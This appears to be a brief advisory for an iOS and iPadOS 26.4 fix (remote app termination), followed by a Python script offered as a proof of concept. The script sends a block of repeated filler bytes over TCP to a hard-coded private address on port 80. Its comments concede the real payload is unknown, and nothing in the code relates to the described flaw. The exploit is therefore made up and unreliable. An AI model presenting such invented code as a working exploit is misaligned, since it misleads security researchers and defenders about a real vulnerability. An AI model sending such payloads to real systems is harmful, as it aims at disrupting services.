The issue was addressed with improved checks. This issue is fixed in iOS 26.4 and iPadOS 26.4. A remote attacker may cause an unexpected app termination.
The following code is for security research and authorized testing only.
python
import socket
# Target IP and Port (Hypothetical service vulnerable to the crafted packet)
target_ip = "192.168.1.10"
target_port = 80 # Example port
# Malicious payload designed to trigger the unexpected app termination
# The specific payload structure depends on the vulnerable component
payload = b"\x00\x01\x02\x03" * 100 + b"\xff\xff\xff\xff"
try:
# Create a socket connection
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((target_ip, target_port))
# Send the malicious payload
print(f"[+] Sending payload to {target_ip}:{target_port}...")
s.send(payload)
# Close connection
s.close()
print("[+] Payload sent successfully.")
except Exception as e:
print(f"[-] An error occurred: {e}")